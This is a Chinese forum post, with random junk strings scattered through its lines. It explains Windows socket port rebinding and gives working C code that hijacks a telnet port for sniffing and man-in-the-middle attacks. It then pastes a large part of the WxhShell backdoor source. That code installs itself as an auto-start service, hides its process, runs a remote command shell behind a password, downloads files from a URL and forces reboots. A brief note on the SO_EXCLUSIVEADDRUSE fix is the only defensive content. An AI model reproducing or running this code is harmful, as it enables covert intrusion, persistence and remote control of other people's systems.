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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zk@K uBLL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @u2nG:FG  
<99Xg_e  
  saddr.sin_family = AF_INET; 3J{`]v5`  
BZE~k?*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dyj5a($9"{  
\5_7!.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &@xixbg  
#`mo5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pc w^W  
mu/O\'5  
  这意味着什么?意味着可以进行如下的攻击: ArUGa(; f  
ZAPT5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hs+VA$$*  
;?i(WV}ee  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YQ _3[[xT  
cFoDR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^V~r S8]gj  
5u\si4BL{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wb"*9q06  
( {H5k''  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rt<8 &.m4  
 (Ia}]q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iG*/m><-  
r c7"sIkV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  wNW9xmS  
\dbjh{  
  #include 8_K22]c5  
  #include Q+[e)YO)  
  #include RTNUHz;{L  
  #include    ]cnLJ^2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MX?K3=j @>  
  int main() "}]1OL SV  
  { x aWmwsym  
  WORD wVersionRequested; u><gmp&  
  DWORD ret; ,iU ]zN//  
  WSADATA wsaData; HZdmL-1Z^+  
  BOOL val; _Va!Ky =]  
  SOCKADDR_IN saddr; */n)_  
  SOCKADDR_IN scaddr; +!V*{<K  
  int err; /}Y>_8 7  
  SOCKET s; [BHf>  
  SOCKET sc; })|+tZ  
  int caddsize; qDO4&NO  
  HANDLE mt; n}qHt0N  
  DWORD tid;   KD^>Vv#  
  wVersionRequested = MAKEWORD( 2, 2 );  XGEAcN  
  err = WSAStartup( wVersionRequested, &wsaData ); !p1OBS|  
  if ( err != 0 ) { h@T}WZv  
  printf("error!WSAStartup failed!\n"); 7{ :| )  
  return -1; RR><so%  
  } {b>tX)Tep  
  saddr.sin_family = AF_INET; Te~"\`omJ3  
   jBV2]..  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uRQm.8b  
%lchz /  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W 0Q-&4  
  saddr.sin_port = htons(23); a4X J0Tm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <w}k9(Ds  
  { |8h<Ls_  
  printf("error!socket failed!\n"); I-i)D  
  return -1; })Rmu."\  
  } x{C=rdp__  
  val = TRUE; ?MuM _6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qu8i Jq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bv>;%TF  
  { Ix%h /=I  
  printf("error!setsockopt failed!\n"); k'wF+>  
  return -1; LQ?J r>4  
  } O9]j$,i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _$By c(.c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >>wb yj8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;"&^ckP  
fM_aDSRa!H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =O w}MX  
  { BSG_),AH  
  ret=GetLastError(); \0Zm3[  
  printf("error!bind failed!\n"); n6[bF "v  
  return -1; r^ &{0c&o  
  } rSB"0 W7  
  listen(s,2); Ywt_h;:  
  while(1) mUzNrkG(G  
  { 7[QU *1bk  
  caddsize = sizeof(scaddr); S)z jfJR  
  //接受连接请求 B N@*CG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [b J/$A  
  if(sc!=INVALID_SOCKET) X4&{/;$  
  { yyrCO"eh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7C ABM  
  if(mt==NULL) )__vPPko i  
  { )ye[R^!}  
  printf("Thread Creat Failed!\n");  ^DVr>u  
  break; //:.k#}~B  
  } 1&Rz'JQ+  
  } Oe^3YOR#j{  
  CloseHandle(mt); Vy{=Y(cpF2  
  } SMk{159q&  
  closesocket(s); ?b:J6(-  
  WSACleanup(); {.z2n>1J{T  
  return 0; AShJt xxa  
  }   tz&=v,_jc  
  DWORD WINAPI ClientThread(LPVOID lpParam) z['>`Kt  
  { 8^$}!9B~JZ  
  SOCKET ss = (SOCKET)lpParam; ];^A8?  
  SOCKET sc; ;or(:Yoc-  
  unsigned char buf[4096]; `Te n2(D  
  SOCKADDR_IN saddr; :HRJ49a  
  long num; XY1NTo. =  
  DWORD val; on(F8%]zE  
  DWORD ret; z}s0D]$+x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 95aa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2;5EH 0  
  saddr.sin_family = AF_INET; !k||-Q &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6t TLyI$+  
  saddr.sin_port = htons(23); r`i<XGPJ%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]OM|Oo  
  { 06pLa3oi  
  printf("error!socket failed!\n"); C!B2 .:ja  
  return -1; vd SV6p.d  
  } Tm_AoZH  
  val = 100; sZPPS&KoP3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /lm;.7_J+  
  { zVZZdG~8  
  ret = GetLastError(); Jj|HeZ1C f  
  return -1; ,`G8U/  
  } )}=`Gx5+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1s=M3m&H  
  { K/+5$SjF  
  ret = GetLastError(); K&9|0xt  
  return -1; *ZKI02M  
  } y;yXOE_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^T)HRT-k  
  { 7tfMD(Q]e/  
  printf("error!socket connect failed!\n"); 5 r"`c  
  closesocket(sc); 0MF[e3)a  
  closesocket(ss); .Hl]xI$;+  
  return -1; bAeC=?U  
  } yW^[{)V 3%  
  while(1) #c'yAa  
  { = I Ls[p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V? w;YTg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C&,&~^_F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #!OCEiT_  
  num = recv(ss,buf,4096,0); KFdV_e5lU  
  if(num>0) ]=2Ba<)m  
  send(sc,buf,num,0); b~Op1p  
  else if(num==0) f`.8.1Rd  
  break; 5.]+K<:h"A  
  num = recv(sc,buf,4096,0); vJ7I [Z  
  if(num>0) E08FUAth]#  
  send(ss,buf,num,0); "'4R _R  
  else if(num==0) uo_Y"QiKEH  
  break; L|qQZ=  
  } Tw)nFr8oF]  
  closesocket(ss); `Ff3H$_*  
  closesocket(sc); KIC5U50J  
  return 0 ; ixw3Z D(>+  
  }  &xgMqv2/  
Q$Ga.fI  
JWr:/?  
========================================================== bA@!0,m  
KF|+# qCN  
下边附上一个代码,,WXhSHELL n&D<l '4  
Z%y>q|:  
========================================================== !Sy._NE`z  
_Buwz_[&  
#include "stdafx.h" P \tP0+at  
*$Z}v&-0k  
#include <stdio.h> iN"kv   
#include <string.h> II3)Cz}xRG  
#include <windows.h> $/Gvz)M  
#include <winsock2.h> VJDF/)X3$  
#include <winsvc.h> P_B#  
#include <urlmon.h> }Xr-xh \v  
w0)V3  
#pragma comment (lib, "Ws2_32.lib") 4[ M!x  
#pragma comment (lib, "urlmon.lib") MGfDxHg]  
@HxEp;*NH"  
#define MAX_USER   100 // 最大客户端连接数 P(_D%0xKm  
#define BUF_SOCK   200 // sock buffer &dh%sFy  
#define KEY_BUFF   255 // 输入 buffer n`2 d   
|Up+Kc:z/n  
#define REBOOT     0   // 重启 7"2L|fG  
#define SHUTDOWN   1   // 关机 S 3Tp__  
9JBPE  
#define DEF_PORT   5000 // 监听端口 .9 mwRYgD  
01g=Cg  
#define REG_LEN     16   // 注册表键长度 >N@tInE  
#define SVC_LEN     80   // NT服务名长度 K}tl,MMU  
/1F%w8Iqh  
// 从dll定义API i6?,2\K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %%`Nq&'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l_hM,]T0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P,k~! F^L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); swYlp  
8*!<,k="9  
// wxhshell配置信息 mTz %;+|L  
struct WSCFG { L{jJDd  
  int ws_port;         // 监听端口 E0'+]"B  
  char ws_passstr[REG_LEN]; // 口令 = I,O+^  
  int ws_autoins;       // 安装标记, 1=yes 0=no V&;1n  
  char ws_regname[REG_LEN]; // 注册表键名 J 05@SG':  
  char ws_svcname[REG_LEN]; // 服务名 Yz=(zj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OXe+=Lp<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [9(tIb!x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gELku .  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `uM:>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &PaqqU.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dF:@BEo  
'iA#lKG  
}; GwQW I ]  
SeN4gr*  
// default Wxhshell configuration $,v '>  
struct WSCFG wscfg={DEF_PORT, Zk4Hs%n  
    "xuhuanlingzhe", Nz_c]3_j  
    1, Ig}G"GR  
    "Wxhshell", $h`(toTyF  
    "Wxhshell", 6!dbJ5x1  
            "WxhShell Service", k!3X4;F!_  
    "Wrsky Windows CmdShell Service", |t+M/C0y/  
    "Please Input Your Password: ", g6{.C7m  
  1, 9]fhH  
  "http://www.wrsky.com/wxhshell.exe", M(|Qvh{Q6  
  "Wxhshell.exe" u?5 d%]*  
    }; R''nZ/R  
S-}MS"  
// 消息定义模块 0]4kR8R3[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %tul(Z~<1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [Oen{c9 A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0B fqEAl  
char *msg_ws_ext="\n\rExit."; o(w!x!["  
char *msg_ws_end="\n\rQuit."; k4fc 5P  
char *msg_ws_boot="\n\rReboot..."; ~T@t7Cg  
char *msg_ws_poff="\n\rShutdown..."; BZejqDr*  
char *msg_ws_down="\n\rSave to "; x|U~?  
F-[zuYGp  
char *msg_ws_err="\n\rErr!"; 7[h_"@_A7  
char *msg_ws_ok="\n\rOK!"; >$S P2(Y~  
G6(k wv4  
char ExeFile[MAX_PATH]; Rt:k4Q   
int nUser = 0; Yv k Qh{  
HANDLE handles[MAX_USER]; [zv>Wlf,%  
int OsIsNt; !l|v O(  
2_M+akqy^  
SERVICE_STATUS       serviceStatus; 4 AZ~<e\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T Po%zZo  
:xJ]# t..  
// 函数声明 qX{"R.d  
int Install(void); H e ABU(o4  
int Uninstall(void); !>fYD8Ft,  
int DownloadFile(char *sURL, SOCKET wsh); yTzP{I  
int Boot(int flag); LOQoi8j  
void HideProc(void); c.-h'1  
int GetOsVer(void); j[l6&eX  
int Wxhshell(SOCKET wsl); xFxl9oM."  
void TalkWithClient(void *cs); Mx{VN P  
int CmdShell(SOCKET sock); o|Cq#JFG  
int StartFromService(void); u$ C@0d  
int StartWxhshell(LPSTR lpCmdLine); =sy>_   
56gpAc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g?` g+:nug  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .w2QiJ  
i)9}+M 5  
// 数据结构和表定义 ;,P-2\V/  
SERVICE_TABLE_ENTRY DispatchTable[] = arJ4^  d  
{ &7z79#1NS  
{wscfg.ws_svcname, NTServiceMain}, U<,@u,_Ja  
{NULL, NULL} aEU[k>&  
}; ]@X5'r"  
KiW4>@tY  
// 自我安装 d\aKGq;8C  
int Install(void) u>c\J|K_V  
{ 9rXbv4{  
  char svExeFile[MAX_PATH]; ^2f'I iE  
  HKEY key; 7jvy]5y8&~  
  strcpy(svExeFile,ExeFile); 8 2qf7`  
 }/~%Ysl  
// 如果是win9x系统,修改注册表设为自启动 L#sw@UCK  
if(!OsIsNt) { \{r-e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fm$eJu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t`NZ_w /  
  RegCloseKey(key); Dy6uWv,P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?CO\jW_ *n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $jT&]p  
  RegCloseKey(key); +Go(y S  
  return 0; :$k':0 n  
    } =B4,H=7Spf  
  } HUqG)t*c1  
} OQzJRu)mF#  
else { F*V<L   
T=r-6eN  
// 如果是NT以上系统,安装为系统服务 r=GF*i[3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q#C;4)e  
if (schSCManager!=0) _y#omEx  
{ r~cmrLQa  
  SC_HANDLE schService = CreateService #qkokV6`  
  ( ZeewGa^r  
  schSCManager, ' >(])Oq,  
  wscfg.ws_svcname, H QHFD0hv  
  wscfg.ws_svcdisp, 1'ne[@i^/  
  SERVICE_ALL_ACCESS, s X&.8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d"3S[_U  
  SERVICE_AUTO_START, tHNvb\MR$  
  SERVICE_ERROR_NORMAL, 50!/%  
  svExeFile, w-2&6o<n-  
  NULL, Eu/~4:XN  
  NULL, \zj _6Os  
  NULL, s_]p6M  
  NULL, $=dp)  
  NULL V]b1cDx{  
  ); &<I*;z6%t  
  if (schService!=0) *r!f! eA:  
  { { 3``To$  
  CloseServiceHandle(schService); m87,N~DP  
  CloseServiceHandle(schSCManager); k=w;jX&;`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mk>L:+  
  strcat(svExeFile,wscfg.ws_svcname); -H1mKZDPP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2p\CCzw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~wnTl[:  
  RegCloseKey(key); &gJKJ=7  
  return 0; #Mo`l/Cwp  
    } n8(B%KF  
  } p7(Pymkd  
  CloseServiceHandle(schSCManager); IOA"O9;  
} p.KX[I  
} 9hAS#|vK  
i`o}*`//  
return 1; ?DcRD)X  
} xe^*\6Y  
U3r[ysf  
// 自我卸载 "zW3d KVc  
int Uninstall(void) #PnuR2s7.  
{ S,T?(lSl  
  HKEY key; }.Eq_wP<  
WqN=  D5  
if(!OsIsNt) { \m-fLX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %M8Egr2|0  
  RegDeleteValue(key,wscfg.ws_regname); a%*l]S0z"  
  RegCloseKey(key); ~ILig}I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wu?ahNb.`Y  
  RegDeleteValue(key,wscfg.ws_regname); AH`n  
  RegCloseKey(key); i^P@?  
  return 0; Z J(/cD  
  } Z=%+U _,  
} * d6[k Y  
} xGbr>OqkTX  
else { "%~\kJ(G  
PoMkFG6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ps0wN%tA  
if (schSCManager!=0) f`<j(.{9F  
{ ]2G5ng' @  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <%eY>E  
  if (schService!=0) `B+%W  
  { w?CbATQ   
  if(DeleteService(schService)!=0) { "sLdkd}dj  
  CloseServiceHandle(schService); <4jQbY;  
  CloseServiceHandle(schSCManager); y7SOz'd  
  return 0; a2W}Wb+  
  } h"VQFqQy  
  CloseServiceHandle(schService); Tks;,C  
  } cT{iMgdI?  
  CloseServiceHandle(schSCManager); Hh @q;0ni  
} K%LDOVE8e  
} H e]1 <tx  
'$Jt}O  
return 1; eydVWVN  
} ln.kEhQ3B  
8D]:>[|E  
// 从指定url下载文件 r`u}n  
int DownloadFile(char *sURL, SOCKET wsh) rUfW0  
{ 3{_AzL  
  HRESULT hr; 3WyK!@{  
char seps[]= "/"; ga#,42)H  
char *token; tb,.f3;  
char *file; $w%oLI@kl  
char myURL[MAX_PATH]; /^96|  
char myFILE[MAX_PATH]; !8&,GT  
J*6I@_{/ U  
strcpy(myURL,sURL); E%ea o$  
  token=strtok(myURL,seps); 3ojK2F(1D  
  while(token!=NULL) 1wUZ0r1'  
  { |Y3!Lix  
    file=token; hZnT`!iFE^  
  token=strtok(NULL,seps); -Nmf}`_  
  } =fMSmn1S  
O{8"f\*  
GetCurrentDirectory(MAX_PATH,myFILE); b3b 4'l   
strcat(myFILE, "\\"); hTI8hh  
strcat(myFILE, file); 47I:o9E  
  send(wsh,myFILE,strlen(myFILE),0); X:-X3mV9{  
send(wsh,"...",3,0); :NU-C!eT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s# w+^Mw$  
  if(hr==S_OK) Qo  
return 0; rh2pVDS  
else IWu^a w  
return 1; [rqe;00]  
,4j$kR  
} VL5kjF3/  
=f@O~nGm  
// 系统电源模块 tYIHsm\b  
int Boot(int flag) #%VprcEK  
{ T Uhp  
  HANDLE hToken; (Br$(XJoK}  
  TOKEN_PRIVILEGES tkp; `.;7O27A^%  
cb&y8!ci~  
  if(OsIsNt) { m6V1m0M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5X&<+{bX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bir }X  
    tkp.PrivilegeCount = 1; oSNB\G<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 80$P35Q"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Oc :x  
if(flag==REBOOT) { $o\p["DP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iM2 EEC  
  return 0; fEs957$  
} `'Ta=kd3  
else { ;t%L (J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,-  ]2s_  
  return 0; c Yx=8~-  
} ZJ"*A+IJx[  
  } fLI@;*hL0  
  else { ;KQ'/nII  
if(flag==REBOOT) { 6uDA{[OH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UEo,:zeN[  
  return 0; }SitT\%  
} w%S<N  
else { 5K'EuI)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7i{Rn K6*  
  return 0; rQ}4\PTi  
} qIjC-#a=m  
} |L;'In  
W/oRt<:E  
return 1; N(vbo  
} OpxVy _5,  
yD1*^~loJ  
// win9x进程隐藏模块 {\|? {8f  
void HideProc(void) u-UUF  
{ ?^BsR  
1@)]+* F*z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gbpm::  
  if ( hKernel != NULL ) SNvK8,"g  
  { $pk3d+0B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i`&yPw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]kb%l"&  
    FreeLibrary(hKernel); vzi=[A  
  } &8"a7$  
^\N2 Iu>6  
return; j,/o0k,  
} W\.f:"2qr  
/<:9NP'^  
// 获取操作系统版本 ;x^&@G8W`  
int GetOsVer(void) EoU}@MjM~  
{ L*FmJ{Yf  
  OSVERSIONINFO winfo; 5B'-&.Aj+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %c^]Rdl  
  GetVersionEx(&winfo); h>mQ; L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A!^K:S:@  
  return 1; /bCrpcH  
  else { w!}:8p  
  return 0; b@YSrjJ  
} rA=F:N 2  
jv2l_  
// 客户端句柄模块 m.K"IXD  
int Wxhshell(SOCKET wsl) ]?``*{Zqy  
{ ;k b^mJE  
  SOCKET wsh; h(/|`   
  struct sockaddr_in client; ] (MXP,R  
  DWORD myID; @Jm$<E  
fvit+  
  while(nUser<MAX_USER) dUO~dV1  
{ EzNmsbtZ(  
  int nSize=sizeof(client); hNx`=D9[7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g-^CuXic  
  if(wsh==INVALID_SOCKET) return 1; }$qy_Esl  
"Wi`S;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &}T`[ d_Z  
if(handles[nUser]==0) )>\Ne~%  
  closesocket(wsh); ,?&hqM\  
else E}NX+ vYF  
  nUser++; 1&jX~'  
  } 44%::Oh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >5^Z'!Z"  
[*}[W6 3v  
  return 0; _"WQi}Mm  
} Kq{s^G  
~S-x-cZ  
// 关闭 socket ?WAlW,H>  
void CloseIt(SOCKET wsh) $%1[<}<  
{ Q8:u1$}  
closesocket(wsh); PI?-gc?[  
nUser--; JC=Bxv  
ExitThread(0); 8: s3Q`O  
} Z]SCIU @+  
Nm,v E7M  
// 客户端请求句柄 <[~x]-  
void TalkWithClient(void *cs) W;KHLHp-  
{ $wN'mY  
:eIB K  
  SOCKET wsh=(SOCKET)cs; !5A nr  
  char pwd[SVC_LEN]; W{-N,?z  
  char cmd[KEY_BUFF]; 9MHb<~F  
char chr[1]; ny=CtU!z  
int i,j; (Mtc&+n{  
 =_ rn8  
  while (nUser < MAX_USER) { +,|-4U@dl  
Rb9Z{Clq>  
if(wscfg.ws_passstr) { aaaC8;.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tkuN$Jl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Ji,n;QLm  
  //ZeroMemory(pwd,KEY_BUFF); *f4KmiQ~ %  
      i=0; M/1Q/;0P  
  while(i<SVC_LEN) { 4&y_+  
r`S]`&#}(  
  // 设置超时 j ^_ G  
  fd_set FdRead; 2iH ,U  
  struct timeval TimeOut; .5 dZaI)  
  FD_ZERO(&FdRead); k*-+@U"+  
  FD_SET(wsh,&FdRead); Hfc^<q4a.  
  TimeOut.tv_sec=8; {qx"/;3V  
  TimeOut.tv_usec=0; QGLm4 Wl9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <|2_1[,sl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D J<c  
Zb9@U: \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nmSpNkJ5  
  pwd=chr[0]; +i)1 jX<  
  if(chr[0]==0xd || chr[0]==0xa) { ^ g4)aaBZ  
  pwd=0; Y^6=_^  
  break; t: [[5];E  
  } XD|&{/O  
  i++; Q]|+Y0y}X  
    } .qVdo+M%F  
VWMCbg>R  
  // 如果是非法用户,关闭 socket LZoth+:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Aga7X@fV(  
} hVGakp9WE  
ho(Y?'^t3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CLYcg$V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nEGku]pCH{  
-Z;:_"&9  
while(1) { Jhj]rsGk  
G)e 20Mst  
  ZeroMemory(cmd,KEY_BUFF); k~q[qKb8y:  
[j![R  
      // 自动支持客户端 telnet标准   <v2R6cj5  
  j=0; \\/X+4|o'  
  while(j<KEY_BUFF) { -_314j=`/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +QHhAA$  
  cmd[j]=chr[0]; u{3KV6MS  
  if(chr[0]==0xa || chr[0]==0xd) { S((8DSt*  
  cmd[j]=0; He]F~GXP  
  break; ntF(K/~Y  
  } GB !3Z  
  j++; EAq >v t83  
    } 1gt[_P2u  
d@w I: 7  
  // 下载文件 Yb6\+}th  
  if(strstr(cmd,"http://")) { 6C3y+@9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #|e <l1F  
  if(DownloadFile(cmd,wsh)) F;_;lRAb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5o72X k  
  else >)5vsqGZaK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;J5oO$H+68  
  } j2\G1@05  
  else { K^> qn,]H'  
&G"]v]V  
    switch(cmd[0]) { XSxya .1  
  3 (}?f  
  // 帮助 nut7b  
  case '?': { Kp&d9e{ Yc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?_^9e  
    break; % idnm  
  } @ =,J6  
  // 安装 $"UAJ-  
  case 'i': { T }8aj  
    if(Install()) u3<])}I'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WkO .  
    else I3L1|!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q3KBG8  
    break; stDn{x .  
    } ::5-UxGL<2  
  // 卸载 P#0 _  
  case 'r': { FE5R ^W#u-  
    if(Uninstall()) J\{)qJ*jp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $_ NaxV  
    else D{4 Y:O&J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e-s@@k  
    break; Vnl~AQfk|  
    } \vT8 )\  
  // 显示 wxhshell 所在路径 ^ ID%pd  
  case 'p': { nph{  
    char svExeFile[MAX_PATH]; Kr#=u~~M  
    strcpy(svExeFile,"\n\r"); 6%'{Cq1DE  
      strcat(svExeFile,ExeFile); mrbIoN==`  
        send(wsh,svExeFile,strlen(svExeFile),0); ydFY<Mb(o  
    break; >:xnjEsi$/  
    } >2|#b  
  // 重启 K l4",  
  case 'b': { "s*{0'jo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !kIw835U  
    if(Boot(REBOOT)) 4v!@9.!vQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6JL 7ut  
    else { | -R::gm  
    closesocket(wsh); 4R0_%x6vG  
    ExitThread(0); t"L:3<U7  
    } \Dc\H )  
    break; v_ J.M]  
    } ZD<,h` lZ  
  // 关机 *dQRs6  
  case 'd': { J\%:jg( m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z  b1v  
